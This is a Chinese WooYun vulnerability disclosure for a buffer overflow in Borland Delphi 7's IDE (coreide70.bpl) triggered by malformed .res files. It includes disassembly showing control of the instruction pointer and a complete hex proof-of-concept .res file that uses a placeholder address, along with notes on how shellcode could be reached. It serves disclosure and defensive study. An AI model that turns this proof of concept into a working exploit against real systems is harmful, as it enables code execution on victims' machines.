当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-047549

漏洞标题:DELPHI7缓冲区溢出漏洞

相关厂商:Borland

漏洞作者: 光刃

提交时间:2014-01-01 14:45

修复时间:2014-04-01 14:46

公开时间:2014-04-01 14:46

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-01: 细节已通知厂商并且等待厂商处理中
2014-01-06: 厂商已经确认,细节仅向厂商公开
2014-01-09: 细节向第三方安全合作伙伴开放
2014-03-02: 细节向核心白帽子及相关领域专家公开
2014-03-12: 细节向普通白帽子公开
2014-03-22: 细节向实习白帽子公开
2014-04-01: 细节向公众公开

简要描述:

DELPHI7缓冲区溢出漏洞

详细说明:

在处理.res文件时候,未检测相应结构大小,造成缓冲区溢出。
攻击者可以构造特定的.res文件,即可利用此漏洞执行任意想执行的程序。
漏洞文件coreide70.bpl
文件版本7.0.4.453
相关函数
0049495C 8B45 08 mov eax, dword ptr [ebp+8] ; 这里eax被淹没 [eax] 可控
0049495F 8B40 FC mov eax, dword ptr [eax-4] ; [eax-4]可控 eax 可控
; 此时eax就是我们poc里面的41414141 设这个地址为ADD
00494962 B9 01000000 mov ecx, 1
00494967 8B18 mov ebx, dword ptr [eax] ; ebx=[ADD] ebx可控
00494969 FF53 0C call dword ptr [ebx+C] ; ebx可控 [[ADD]+c] 可控(eip可控) 可指向shellcode
0013F821 31 31 31 31 31 31 31 31 31 31 31 31 41 41 41 41 111111111111AAAA
0013F831 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0013F841 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0013F851 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0013F861 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

delphi.png

漏洞证明:

把这2个文件放在同一个文件夹下面。用delphi打开poc.dpr 既可以触发漏洞。
poc.dpr
(把下面数据以文本形式保存,重命名为poc.dpr)

{$R *.res}


poc.dpr
(把下面数据以16进制的形式保存,重命名为poc.res)

0000000020000000FFFF0000FFFF000000000000000000000000000000000000E802000020000000FFFF0300FFFF010000000000101004080000000000000000280000002000000040000000010004000000000000020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000B3111111111111000000000000000000BBB333333333110000000000000000008888B333333331000000000000000000033333333331100000000000000000000888888BBBBB10000000000000000000000333333333100044444000000000000008BBBB3B10004467676440000000000008BBBB331004767676676400000000000888BB3310226767667676400000000000BBBB3310277776762767400000000000BBBB3317777777222676640000000000888BB3177777772227676400000000000BBBB3318777222226766400000000000BBBB3318777222222666400000000000888BB31877772277222240000000000008BBB3318F777227222240000000000008BBB33187F7772222240000000000000888BB3172777222FB0400000000000000BBBB33172777222FB000000000000000888B331722777724BB00000000000000088BB310022222000BB0000000000000088BB3310000000000BB0000000000000088BB31000000000BBBB000000000000088BB331000000BBBBBBB7000000000000BBB333100000BBBBB0000B3333333333BBB3331000000BBBB0000BB3333333333BBB333000000BBBBB000BBB3333333BBBBBB330000000BBBBB008BBBBBBBBBBB88BBB300000000BBBBB88B8888888888888BB300000000BBBBB08888888888888888BB000000000BBB000000000000000000000000000000B0008001FFFF8001FFFF8001FFFFC003FFFFC003FFFFF00383FFF00E00FFF00C007FF008003FF808003FF800001FF800001FFC00001FFC00001FFC00001FFE00001FFE00003FFE00003FFF00003FFF00001FFF81838FFF80FFC7FFC0FC03FFC07E01FFE03E0F00003F0700003F0300003F8100003FC000003FC100003FE3FFFFFFF714000000C0010000FFFF0E004D00410049004E00490043004F004E0031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310041004100410041003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100000000000000001010040800000000000000000000010001002020100001000400E8020000010000


注意偏移4BDH的0041004100410041(UNICODE编码 就是41414141,AAAA)
41414141H是我们随意写的,但是这个地址很重要。攻击者精心设计这个地址和周边的数据,既可以执行想要的shellcode

修复方案:

检测大小

版权声明:转载请注明来源 光刃@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-01-06 08:49

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-01 14:57 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    由于delphi和c++ builder都包含此文件。所以该漏洞也会影响相应版本的c++ builder。核心组件版本不同的poc可能不通用。不再单独发帖。

  2. 2014-01-01 20:27 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    MARK

  3. 2014-01-01 22:34 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    大牛~!